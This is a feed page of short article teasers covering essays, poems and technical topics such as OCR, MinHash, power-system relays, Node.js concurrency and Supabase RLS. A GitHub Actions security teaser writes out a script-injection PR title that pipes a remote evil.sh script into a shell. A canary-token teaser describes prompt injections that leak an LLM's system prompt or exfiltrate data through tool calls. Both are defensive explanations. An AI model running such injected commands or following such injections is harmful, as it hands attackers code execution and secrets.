on-internet

The Toile, Terroir, and Tearaway Pants

On the erosion of our cultural terroir, the reshaping of our inner lives, and a nostalgia for the dirt that made us distinct. Continue reading on Medium »

Pada Hatiku, yang Tengah Belajar Menerjemahkan Cinta.

Negeriku yang terbuang. Kaum sejenisku yang mengemis-ngemis. Sesamaku yang tak lagi dipandang sama. Terlanjur terlambat lah sudah untuk… Continue reading on Medium »

Kasihku, yang tak sempat ku panggil kekasihku.

Selalu dan selamanya, aku akan memilih kecewa karena telah mencintai terlalu besar, daripada menyesal karena tidak memberikan cintaku… Continue reading on Medium »

the truth of night

I love this lull of the night. The moon shines like someone who just shows up every time, even with the light it has to bless the humans… Continue reading on Medium »

What Assay Development Looks Like for a New Drug Target

Suppose researchers suspect that a little-studied human enzyme plays a role in a disease. They want to see whether a compound can slow it down. Before they can compare compounds, they need a test that shows what the enzyme does on its own and how that changes when they add a compound. That’s where assay development starts. An assay is a test built to measure a specific event. For a new target, much of the early work goes into deciding which event matters and finding a signal that reflects it. Decide What a Result Should Mean For the enzyme in this example, a sensible first question is whether

Correcting MRZ OCR errors with check digits: O vs 0, I vs 1, and when not to guess

OCR on a passport's machine-readable zone (MRZ) makes predictable mistakes: O ↔ 0, I ↔ 1, B ↔ 8, S ↔ 5, Z ↔ 2. Two fixes follow from the MRZ's structure. Fields that can only be digits (dates, check digits) can be mapped back to digits directly. Mixed fields such as the document number can be repaired by trying confusable swaps until the check digit matches. The catch: a check digit is one digit, so a wrong repair also passes one time in ten. The safe rule is to keep a reading that already passes, accept a repair only when exactly one candidate needs the fewest changes, and otherwise ask for a

Finding near-duplicate documents with MinHash and LSH before you index them for RAG

Document collections are full of near-duplicates: the same policy exported twice, a page with a new footer, version 1 and version 2 of a contract. Indexed for RAG, they fill the top-k results with copies of one passage and crowd out everything else. MinHash finds them efficiently: split each document into overlapping word shingles, and compare documents by Jaccard similarity (shared shingles ÷ all shingles). MinHash compresses each document into a short signature whose matching positions estimate Jaccard, and LSH banding finds candidate pairs without comparing every document to every other. On

Power Swings: Why a Distance Relay Cannot Just Trip on What It Sees

After a fault clears, the generators on a system do not always settle straight back to where they were. The rotor angle of a machine swings against the rest of the grid, power transfer swings with it, and for a few seconds the relays watch an impedance that wanders instead of jumping. That wandering is a power swing, and telling it apart from a fault is one of the quiet hard jobs in protection. The one equation underneath it In the classical model, a machine connected to a strong grid through a transfer reactance transfers power as: Pe = Pmax sin δ, where Pmax = EV/X E is the machine's interna

Start Your First AI Agent as a 30-Day Pilot, Not a Launch.

The first AI agent a business puts in front of customers is often treated like a launch: announce it, turn it on and hope the volume proves it was a good idea. You get a mix of successes, quiet failures and no clear rule for whether to keep going. A better first step is a 30-day pilot. Pick one narrow job, set a success number before you start and decide on day 30 whether to expand, fix or stop. Why a pilot beats a launch A launch asks the agent to be ready for every kind of customer question on day one. A first agent is rarely ready for that. If you turn the whole range on at once, you will s

Limiting concurrent async calls in Node.js without a library: a 15-line promise pool

Promise.all(items.map(callApi)) starts every call at the same moment. With 20 items that's fine. With 2,000 document pages to OCR, or 2,000 prompts to send to an LLM, it opens 2,000 connections, hits the provider's rate limit within a second, and can run the process out of sockets or memory. The fix is a concurrency limit: run at most N calls at a time and start the next as soon as one finishes. It takes about 15 lines and no dependency: start N "lanes" that each pull the next item from a shared index until none are left. The version below also keeps results in input order and records failures

Canary tokens for LLM apps: detecting system prompt leaks and injected exfiltration

A canary token is a random string, such as cnry-3f9a1c0e7b2d4a61, placed in your system prompt with an instruction never to repeat it. It means nothing to users and appears nowhere else, so if it ever shows up in a model output, the model has disclosed its instructions, usually because a prompt injection told it to. Check every output channel, not just the reply text: tool call arguments are where an injected agent exfiltrates data. Match loosely enough to catch c n r y - 3 f 9 a… and simple encodings. A canary is a detector, not a defence: it tells you an attack worked so you can block the re

NVIDIA RTX Spark Desktops Are Here: A $4,400 Box That Runs 120B-Parameter AI Models at Home

NVIDIA spent most of 2026 telling developers that the future of AI agents is local — models running on your own machine, not rented by the token from a cloud API. On November 18, 2026, that pitch became something you can actually buy. RTX Spark compact desktops from ASUS, Dell and MSI went on sale in the US, starting at $4,399.99, and they are built around one idea: a small box on your desk that can run a 120-billion-parameter language model without sending your data anywhere. This is not another "AI PC" sticker on a laptop. The chip inside is a superchip — a 20-core Grace CPU paired with a Bl

Supabase "infinite recursion detected in policy for relation" (42P17): find the loop and break it without turning RLS off

Originally published on AppFirstAid. Short answer: error 42P17 means two of your Supabase row-level security policies are checking each other. A policy on one table reads a second table, and that table's policy reads the first one back, so the check never finishes and Postgres stops the query. It usually shows up right after you (or your AI builder) add sharing, teams, members or admin roles. Supabase's fix is to move the lookup into a security definer function that both policies call. Don't turn RLS off to make it go away. Signs this is your problem The error says infinite recursion detected

The Art of Becoming a Stranger

I think there comes a point in everyone’s life when they begin to disappear from themselves. Continue reading on Medium »

4 GitHub Actions mistakes that hand attackers your secrets (and the fixes)

Most GitHub Actions workflows I read have at least one of these. Each one runs fine, passes review, and quietly hands an attacker your secrets or a write token. Here's what they look like and the fix for each. 1. Untrusted text inside run: (script injection) - run: echo "PR title: ${{ github.event.pull_request.title }}" ${{ }} is expanded before the shell runs, so the PR title becomes part of your script. A PR titled "; curl https://evil.sh | sh; echo " executes on your runner. The same goes for issue titles and bodies, comment bodies, commit messages, branch names (github.head_ref) and workfl

CVE-2026-63412: CVE-2026-63412: Remote Code Execution via PHPDoc Comment Injection in Jane PHP OpenAPI Generator

CVE-2026-63412: Remote Code Execution via PHPDoc Comment Injection in Jane PHP OpenAPI Generator Vulnerability ID: CVE-2026-63412 CVSS Score: 9.3 Published: 2026-11-19 CVE-2026-63412 is a code injection vulnerability in the Jane PHP library suite (affecting jane-php/open-api-3, jane-php/open-api-2, jane-php/open-api-31, and jane-php/json-schema) prior to version 7.12.0. The flaw occurs during the automated generation of PHP client SDKs and data models from OpenAPI specifications. While Jane uses an Abstract Syntax Tree (AST) for safe generation of standard PHP tokens, it constructs PHPDoc comm

Postal codes are the easy part: reference data lessons from 249 countries

Disclosure: The author works at Datopian, the team behind DataHub. This post is based on our own work building postal-code and region reference data — no sponsors, no affiliate links. Originally published on the DataHub blog. If you have ever joined two datasets on "region" and got zero matches, or shipped an address form that only spoke one language, this post is for you. Checkout validation, parcel routing, delivery pricing, customer-record checks and regional reporting all start with the same request: "we need a worldwide postal-code database". We get that request a lot, and when we work th

Please, Do NOT Invest In Local AI.

A 3k machine to run a model that is semi mid at best is not worth it Continue reading on Inside AI »

Older stories